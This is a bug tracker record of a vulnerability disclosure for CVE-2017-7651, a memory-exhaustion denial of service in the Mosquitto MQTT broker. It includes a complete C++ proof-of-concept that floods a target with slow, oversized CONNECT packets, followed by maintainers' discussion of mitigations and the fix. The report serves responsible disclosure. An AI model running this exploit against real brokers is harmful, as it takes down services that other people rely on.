Bug 529754 (CVE-2017-7651) - Mosquitto Server Shutdown Attack
Summary: Mosquitto Server Shutdown Attack
Status: RESOLVED FIXED
Alias: CVE-2017-7651
Product: Community
Classification: Eclipse Foundation
Component: Vulnerability Reports (show other bugs)
Version: unspecified   Edit
Hardware: All All
: P3 critical (vote)
Target Milestone: ---   Edit
Assignee: Security vulnerabilitied reported against Eclipse projects CLA
QA Contact:
URL: https://cve.mitre.org/cgi-bin/cvename...
Whiteboard:
Keywords: security
Depends on:
Blocks:
 
Reported: 2018-01-12 11:55 EST by Felipe Balabanian CLA
Modified: 2018-04-24 10:59 EDT (History)
3 users (show)

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Felipe Balabanian CLA 2018-01-12 11:55:03 EST
Hi, 

 There is an issue in memory control.

 A user can shutdown the Mosquitto server simply by filling the RAM memory with a lot of connections with large payload.
 This can be done without authentications if occur in connection phase of MQTT protocol.
 
 If the user start the connection and send 80% of a big payload and then keep a low transfer rate for the connection not to be closed, with repeated actions the server's RAM memory ends and the O.S. kills the process for Out of Memory (OOM). 
 
 Tested Software:
 Mosquitto 1.4.14 (default configuration)
 
 Tested systems:
 VirtualMachine Vbox Ubuntu 16.04.3 LTS with 2GB RAM.
 VirtualMachine Vbox Ubuntu 16.04.3 LTS with 4GB RAM.
 VirtualMachine Vbox Fedora 27 with 2GB RAM.
 
 =====================================================================
 PoC Pseudocode
 
 While(True){
 Start a new thread with function Attack();
 }
 
 Attack(){
 Start connection.
 Send 80% of a big payload.
 keep a low transfer rate for the connection not to be closed.
 }
 
  =====================================================================
 
//=====================================================================
//PoC C++ code
//=====================================================================
// Name        : MqttAttack.cpp
// Author      : Felipe Balabanian
// Version     : 1.0
// Company     : Samsung - SRBR
// Copyright   : Public Domain
// Description : Mosquitto Shutdown C++
// Compile     : g++ MqttAttack.cpp -std=c++11 -pthread -o MqttAttack
// Terminal    : ./MqttAttack 192.168.0.X
//======================================================================

void sendAttack();

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <thread>
#include <unistd.h>
#include <vector>
#include <stdio.h>
#include <stdlib.h>

char* host;
int port=1883;
bool run = true;
int fails = 0;
int thclosed = 0;
int thcreated=0;
const char* payload;
const char* keeppayload;
const char initpayload[] = "\x10\xff\xff\xff\x0f\x00\x04\x4d\x51\x54\x54\x04\x02\x00\x0a\x00\x10\x43\x36\x38\x4e\x30\x31\x77\x75\x73\x4a\x31\x66\x78\x75\x38\x58";
unsigned long seconds = 1000000;

int main(int argc, char* argv[])
{
	printf("\e[92m\n              ___\n             (  \">\n              )(\n             // ) MQTT SHUTDOWN\n          --//\"\"--\n          -/------\n\e[39m\n");

	host = (char*) malloc(30);
	if(argc < 2){
		printf("Target IP: ");
		scanf("%s", host);
	}else{
		host = argv[1];
	}
	printf("Using Target IP= %s\n", host);

	payload = (char*) calloc(2097152,1);
	keeppayload = (char*) calloc(1024,1);

	printf("Press Enter to Start Attack\n");
	getchar();
	printf("Starting Attack\n");
	std::vector<std::thread> lista;
	int i;
	while(run){
			for(i=0;i<100;i++){
				try{
				lista.push_back(std::thread(sendAttack));
				}catch(int e){
					printf("%d", e);
				}
			}
		thcreated++;
		usleep(5*seconds);
		printf("\n======Status=======\n");
		printf("%d threads created\n", thcreated*100);
		printf("%d closed threads\n", thclosed);
		printf("%d fails threads\n", fails);
		printf("%d running threads\n", thcreated*100-thclosed-fails);

		//thcreated*100-thclosed-fails = live threads
		if(thcreated*100-thclosed-fails < 50){
			run=false;
		}

		usleep(55*seconds);
	}

	printf("Attack finished...\n");
	getchar();

	return 1;
}

void sendAttack()
{
	//printf("New Thread Created");
	int thisSocket;
	struct sockaddr_in destination;


	destination.sin_port = htons(port);
	destination.sin_family = AF_INET;
	destination.sin_addr.s_addr = inet_addr(host);
	thisSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (thisSocket < 0)
	{
		//printf("\nSocket Creation FAILED!");
		fails++;
		return;
	}


	if (connect(thisSocket,(struct sockaddr *)&destination,sizeof(destination))!=0)
	{
		//printf("\nSocket Connection FAILED!\n");
		if (thisSocket)
		{
			shutdown(thisSocket,SHUT_RDWR);
		}
		fails++;
		return;
	}
	//printf("\nConnected!");

	int ret;
	ret = send(thisSocket, initpayload, 33, MSG_NOSIGNAL);
	//printf("init payload sended");

	for(int i=0;i<15;i++){
		if(ret < 0){break;}
		ret = send(thisSocket, payload, 2097152, MSG_NOSIGNAL);
		usleep(0.1*seconds);
	}

	while(ret > 0){
		ret = send(thisSocket, keeppayload, 1024, MSG_NOSIGNAL);
		usleep(0.3*seconds);
	}
	thclosed++;
	shutdown(thisSocket,SHUT_RDWR);

	return;
}

 =====================================================================
 
 
 
The server can get Out of Memory (OOM) from:
 
 1) In /lib/net_mosq.c line 1088 (621f18d)
 
    mosq->in_packet.payload = _mosquitto_malloc(mosq->in_packet.remaining_length*sizeof(uint8_t)); // Because of malloc 
 
 2)In /lib/net_mosq.c line 795 (621f18d)
 
    return recv(mosq->sock, buf, count, 0); //Because of internal kernel buffer (https://stackoverflow.com/questions/9920171/how-to-recive-more-than-65000-bytes-in-c-socket-using-recv)

	
	
Possible countermeasures:
 
 -Improve WITH_MEMORY_TRACKING configuration for set the max memory in use by the server. 
 -Create a memory manager.
 -Use recv multiple times.

 
I think this deserves a CVE for better traceability.
Best Regards, 
Felipe Balabanian - Samsung SRBR
Comment 1 Jens Reimann CLA 2018-01-12 15:09:05 EST
I thinks that qualifies for a CVEID. Any thoughts?

@Roger: Can you confirm this?
Comment 2 Roger Light CLA 2018-01-12 17:33:12 EST
The first line of this attack is that any unauthenticated client can effectively ask the server to allocate the maximum mqtt packet size in memory as its first message, then do this multiple times with a slow transfer to cause OOM.

This can be mitigated by a reasonable factor (at least for mqtt v3.1.1) by calculating the maximum size of a valid CONNECT packet and applying that as a limit. This is around 327,699 bytes vs. the maximum packet size of 268.435M - meaning a successful attack would now need 819 more clients than before, all other things being left the same.

> Possible countermeasures:
> 
>  -Improve WITH_MEMORY_TRACKING configuration for set the max memory 
>   in use by the server. 
> -Create a memory manager.

All of these would require some form of administrator configuration to be effective. It would be possible to detect how much memory is available on the computer, but we have no way of knowing how much is available for mosquitto to use. If that's the case, then just running "ulimit -d <memory limit>" would do the same job with no code changes required.

> -Use recv multiple times.

recv is already used multiple times, the call as it is effectively just asks for all the data there is available - for a large payload it will usually take quite a lot of calls to get the full set of data, it would never happen in a single call.
Comment 3 Roger Light CLA 2018-01-14 17:42:55 EST
This is my assessment:

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H

I've implemented a code fix that limits the size of CONNECT packets which helps a lot. I suppose adding a configuration option to allow memory usage to be limited, plus a note to explain why it is necessary should be sufficient. The code changes mean that all systems are covered, but Linux/Mac can be protected using "ulimit -d", so a note to that effect should be added as well.
Comment 4 Jens Reimann CLA 2018-01-15 03:06:52 EST
Sounds reasonable to me!

I would like to assign CVE-2017-7651 to this issue. Please don't use this CVE ID until it got assigned to this bug as alias.
Comment 5 Roger Light CLA 2018-01-29 12:03:16 EST
What is the next step with this? I'd like to do a release that combines this and #530102.
Comment 6 Jens Reimann CLA 2018-02-27 04:38:46 EST
Assigned: CVE-2017-7651
Comment 7 Roger Light CLA 2018-04-16 17:03:26 EDT
This was fixed in version 1.4.15.